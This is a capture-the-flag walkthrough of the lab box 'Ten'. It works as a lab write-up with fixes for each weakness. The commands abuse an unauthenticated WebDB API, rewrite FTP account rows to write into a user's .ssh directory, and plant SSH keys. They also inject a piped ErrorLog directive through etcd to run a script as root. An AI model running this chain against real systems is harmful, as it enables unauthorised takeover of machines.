← all walkthroughs

Ten

Linux· Hard· Privilege Escalation
owned
2026-10-15
time to own
31m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a hosting signup portal that automatically provisions FTP accounts backed by a MySQL database. A second virtual host, webdb.ten.vl, ran WebDB, a browser-based database client whose unauthenticated API could discover the local MySQL server, guess its weak credential, and run arbitrary SQL.

Through that API I rewrote my own Pure-FTPd account so it ran as uid 1000 and landed in the local user tyrell's .ssh directory, then uploaded an SSH public key over FTP for a shell as tyrell. From there, a root-run configuration service (Remco) was found to build Apache configuration from values in an unauthenticated local etcd store; injecting a piped ErrorLog directive through the unquoted ServerName value made Apache, restarted by root, run I script that installed my key for root.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for MySQL>"

Attack path — how the box was taken

1EnumerationActive scanning and web service fingerprinting (T1595)
Mapped the services and found a WebDB database client on a second virtual host
A port scan showed FTP (21, Pure-FTPd), SSH (22) and Apache (80). The web root was a signup portal that creates a temporary FTP account and a matching customer virtual host. The ten.vl and webdb.ten.vl names were pinned to the target IP, and webdb.ten.vl answered with an Express application titled 'WebDB - App', a web front end for database servers.
Open ports 21, 22 and 80 (Pure-FTPd, OpenSSH 8.9p1, Apache 2.4.52); webdb.ten.vl returned X-Powered-By: Express and the title 'WebDB - App'.
Exact commands 2
shell

The bare IP served a redirect stub, so the site depends on virtual host names.

$ curl -ksS -L --max-time 15 --max-redirs 5 -D - -w '\nPTEST_HTTP %{http_code} %{url_effective}\n' http://$TARGET/
shell

The webdb vhost was a separate Express app (WebDB), not part of the signup portal.

$ curl --resolve webdb.ten.vl:80:$TARGET -s -i http://webdb.ten.vl/
FixDo not expose database-admin tools on guessable virtual hostsHigh
WeaknessWebDB, a browser-based database client with an unauthenticated API, was published on the 'webdb' virtual host reachable from the network.
FixRemove WebDB from the production host, or bind it to localhost or an admin VPN behind web-server authentication and an IP allow-list. Its scan, guess and query endpoints must never be reachable without authentication.
2Initial AccessUnauthenticated exposed admin API and weak credentials (T1190 / T1078)
Provisioned an FTP account and recovered the MySQL credential through WebDB's guess API
Posting a domain name to the signup endpoint created a low-privilege FTP account and printed its generated username and password. WebDB's own API then did the rest without any login: /api/server/scan discovered MySQL on 127.0.0.1:3306, and /api/server/guess, sent a server object with an empty user and password, returned a working MySQL login (user 'user').
Signup returned 'Your personal account is ready' with a ten-<8 hex> username, password and personal domain; /api/server/scan returned MySQL on 127.0.0.1:3306; /api/server/guess returned user 'user' with a password ($PASSWORD2).
Exact commands 3
shell

Export the returned Username as $USERNAME and Password as $PASSWORD; the name is generated, not chosen.

$ curl --resolve ten.vl:80:$TARGET -s -X POST -d domain=testing http://ten.vl/get-credentials-please-do-not-spam-this-thanks.php
shell

WebDB scanned the host for database servers and found MySQL on 127.0.0.1:3306.

$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 120 http://webdb.ten.vl/api/server/scan
shell

/tmp/guess.json held {"wrapper":"MySQL","host":"127.0.0.1","port":3306,"user":"","password":"","params":{},"name":"MySQL@127.0.0.1"}; the reply carried the working user and password ($PASSWORD2).

$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 300 -H 'Content-Type: application/json' -d @/tmp/guess.json http://webdb.ten.vl/api/server/guess
FixReplace weak database credentials and enforce strong authenticationCritical
WeaknessThe local MySQL account used by Pure-FTPd had a weak, guessable password that WebDB's guess feature found automatically, giving full control of the FTP account database.
FixSet a long unique random password, restrict the database user to the minimum privileges (read-only on the users table for the FTP daemon, no write from web tools), and keep administrative database access behind strong authentication.
3FootholdTampering with an authentication backend database / path traversal (T1565.001, CWE-22)
Ran SQL through WebDB to remap the FTP account onto tyrell's .ssh directory
WebDB's /api/query/run endpoint executes whatever SQL is in the request body against the server described in a 'Server' header. SHOW DATABASES listed pureftpd, and my own row in pureftpd.users showed the uid, gid and dir columns that Pure-FTPd uses for each virtual user. The row was updated to uid/gid 1000 and a home of /srv/../home/tyrell/.ssh; the '/srv/../' form keeps the required /srv prefix while escaping it. The next FTP login reported its current directory as /home/tyrell/.ssh, confirming the remap.
SHOW DATABASES returned information_schema and pureftpd; the account row had uid/gid 56369 and dir /srv/<user>/./; the UPDATE reported 'Rows matched: 1 Changed: 1'.
Exact commands 3
shell

With /tmp/q.json = {"query":"SHOW DATABASES"}: lists the pureftpd database.

$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 60 -H 'Content-Type: application/json' -H 'Server: {"wrapper":"MySQL","host":"127.0.0.1","port":3306,"user":"user","password":"'"$PASSWORD2"'","params":{},"name":"MySQL@127.0.0.1"}' -d @/tmp/q.json http://webdb.ten.vl/api/query/run
shell

With /tmp/q.json = {"query":"SELECT * FROM pureftpd.users WHERE User LIKE 'ten-%' ORDER BY User DESC LIMIT 3"}: shows the uid, gid and dir columns of the account.

$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 60 -H 'Content-Type: application/json' -H 'Server: {"wrapper":"MySQL","host":"127.0.0.1","port":3306,"user":"user","password":"'"$PASSWORD2"'","params":{},"name":"MySQL@127.0.0.1"}' -d @/tmp/q.json http://webdb.ten.vl/api/query/run
shell

With /tmp/q.json = {"query":"UPDATE pureftpd.users SET uid=1000, gid=1000, dir='/srv/../home/tyrell/.ssh' WHERE user='$USERNAME'"}: the FTP account now runs as tyrell inside tyrell's .ssh.

$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 60 -H 'Content-Type: application/json' -H 'Server: {"wrapper":"MySQL","host":"127.0.0.1","port":3306,"user":"user","password":"'"$PASSWORD2"'","params":{},"name":"MySQL@127.0.0.1"}' -d @/tmp/q.json http://webdb.ten.vl/api/query/run
FixIsolate FTP accounts from system users and block path traversalCritical
WeaknessFTP virtual users could be mapped by database values to the uid/gid and home directory of a real local user, allowing writes into that user's .ssh directory.
FixChroot every FTP user to a dedicated directory owned by an unprivileged service uid, never allow uid/gid values below 1000 from the database, and constrain the dir column with a database constraint or view. Make home directories and .ssh unwritable by the FTP daemon, and monitor authorized_keys for changes.
4FootholdSSH authorized_keys planting (T1098.004)
Uploaded an SSH public key over FTP and logged in as tyrell
An ed25519 keypair was generated and the public key uploaded as authorized_keys through the remapped FTP account, so the file was written into tyrell's .ssh with tyrell's ownership. SSH key authentication then succeeded as tyrell, and the user flag was read from /home/tyrell/.user.txt.
FTP replied '230 OK. Current directory is /home/tyrell/.ssh' and '226 File successfully transferred'; SSH as tyrell returned uid=1000(tyrell) on host 'ten'.
Exact commands 3
shell

The upload must be named authorized_keys because the FTP session lands directly in .ssh.

$ rm -f /tmp/tenkey /tmp/tenkey.pub /tmp/authorized_keys; ssh-keygen -q -t ed25519 -f /tmp/tenkey -N '' && cp /tmp/tenkey.pub /tmp/authorized_keys && cat /tmp/authorized_keys
shell

The 230 banner shows /home/tyrell/.ssh as the login directory; 226 means the key is in place.

$ curl -sv --max-time 45 --ftp-pasv -T /tmp/authorized_keys ftp://$USERNAME:$PASSWORD@$TARGET/authorized_keys
shell

Key login as tyrell works; the flag is the hidden .user.txt (<user.txt>).

$ ssh -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes tyrell@$TARGET "id; hostname; pwd; ls -la /home/tyrell; cat /home/tyrell/.user.txt 2>/dev/null; cat /home/tyrell/user.txt 2>/dev/null"
uid=1000(tyrell)
5EnumerationLocal service and configuration discovery (T1083)
Found a root-run Remco service that builds Apache config from the local etcd store
As tyrell, etcdctl was installed and the etcd instance on 127.0.0.1:2379 answered without authentication. The Remco configuration watched the /customers keys in etcd, rendered /etc/apache2/sites-enabled/010-customers.conf from a template and ran 'systemctl restart apache2.service' on every change. The template placed each customer's url value straight into a ServerName line with no quoting, and the only key was my own /customers/<ftp user>/url.
/etc/remco/config showed the etcd backend (keys /customers, watch = true, interval 5), template 010-customers.conf.tmpl and reload_cmd 'systemctl restart apache2.service'; the template line was 'ServerName {{ getv(printf("/customers/%s/url",customer)) }}.ten.vl'; etcdctl listed /customers/<user>/url.
Exact commands 1
shell

Shows the whole root pipeline: etcd key, template with the unquoted url, and the Apache restart; the etcdctl read works with no credentials.

$ ssh -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes tyrell@$TARGET "id; which etcdctl; cat /etc/remco/config 2>/dev/null; echo ---TMPL---; cat /etc/remco/templates/*.tmpl 2>/dev/null; echo ---SITES---; cat /etc/apache2/sites-enabled/010-customers.conf 2>/dev/null | head -40; echo ---ETCD---; ETCDCTL_API=3 /usr/bin/etcdctl --endpoints=http://127.0.0.1:2379 get /customers --prefix --keys-only"
FixRequire authentication and restrict access to the etcd storeHigh
WeaknessThe local etcd instance accepted unauthenticated reads and writes from any local user, including the low-privilege shell, and fed a root-run automation pipeline.
FixEnable etcd authentication and RBAC with TLS client certificates, give each writer (the signup page, admins) only the key prefix it needs, and prevent ordinary shell users from reaching the etcd port.
6Privilege EscalationConfiguration template injection leading to command execution as root (CWE-94, T1068)
Injected an Apache ErrorLog pipe directive through the unquoted ServerName value
Writing a url value that contains newlines adds new directives to the rendered vhost. An ErrorLog value that begins with '|' makes Apache start that program as a piped logger when root restarts the service. Two first attempts failed: an inline command string and a helper script under /tmp both rendered correctly but left Apache failed to start with no effect. The working payload pointed ErrorLog at a script in tyrell's home directory that copies tyrell's authorized_keys into /root/.ssh and then runs 'exec cat > /dev/null', so the logger stays alive and Apache comes back up. The etcdctl put is the write proof: no credentials were needed.
The rendered 010-customers.conf contained 'ServerName pwn3' followed by 'ErrorLog "|/home/tyrell/pwn.sh"'; apache2 was active again and its process tree included the 'cat' logger.
Exact commands 4
shell

pwn.sh: mkdir -p /root/.ssh; cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys; chmod 600 and chown root:root it; then exec cat > /dev/null to keep the logger running.

$ scp -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes /tmp/pwn.sh /tmp/p2.sh tyrell@$TARGET:/tmp/
shell

Run as tyrell. Apache could not use the copy in /tmp, so the helper lives in tyrell's home and the directory is made traversable.

$ cp /tmp/pwn.sh /home/tyrell/pwn.sh; chmod 755 /home/tyrell/pwn.sh; chmod 755 /home/tyrell
shell

The trailing '#' comments out the '.ten.vl' the template appends. Remco polls every 5 seconds; wait about 15 seconds for the re-render and restart.

$ V=$'pwn3\n\tErrorLog "|/home/tyrell/pwn.sh"\n#'; ETCDCTL_API=3 /usr/bin/etcdctl --endpoints=http://127.0.0.1:2379 put /customers/$USERNAME/url "$V"
shell

The injected ErrorLog line is rendered and Apache is active again.

$ cat /etc/apache2/sites-enabled/010-customers.conf; systemctl is-active apache2
FixValidate and quote values rendered into Apache configurationCritical
WeaknessThe Remco template inserted raw etcd values into an Apache ServerName directive, so embedded newlines could add arbitrary directives such as a piped ErrorLog that Apache runs as root.
FixValidate each value against a strict hostname pattern before writing it to etcd and again in the template, reject newlines and control characters, and never render untrusted data into configuration. Reduce root's exposure by avoiding automatic restarts driven by user-controlled input and by testing configs with apachectl configtest before reload.
7Full ControlValid accounts via SSH key (T1078)
Logged in as root and captured the final flag
With my public key installed for root, SSH as root succeeded and the root flag was read. Afterwards the etcd value was set back to 'testing', the helper scripts were deleted, the planted authorized_keys files were removed and the FTP row was restored to its original uid, gid and directory.
SSH as root returned uid=0(root) on host 'ten'.
Exact commands 3
shell

Root key login; read <root.txt>.

$ ssh -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes root@$TARGET "id; hostname; pwd; cat /root/root.txt"
uid=0(root)
shell

Cleanup: restore the original vhost value so Remco renders a clean config.

$ ETCDCTL_API=3 /usr/bin/etcdctl --endpoints=http://127.0.0.1:2379 put /customers/$USERNAME/url testing
shell

Cleanup: remove the planted keys and confirm the services are still running.

$ ssh -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes root@$TARGET "rm -f /root/.ssh/authorized_keys /home/tyrell/.ssh/authorized_keys /root/clean.sh; echo CLEANED; ls -la /root/.ssh /home/tyrell/.ssh; systemctl is-active apache2 pure-ftpd-mysql remco"

Exposed services

21/tcp
22/tcp
80/tcp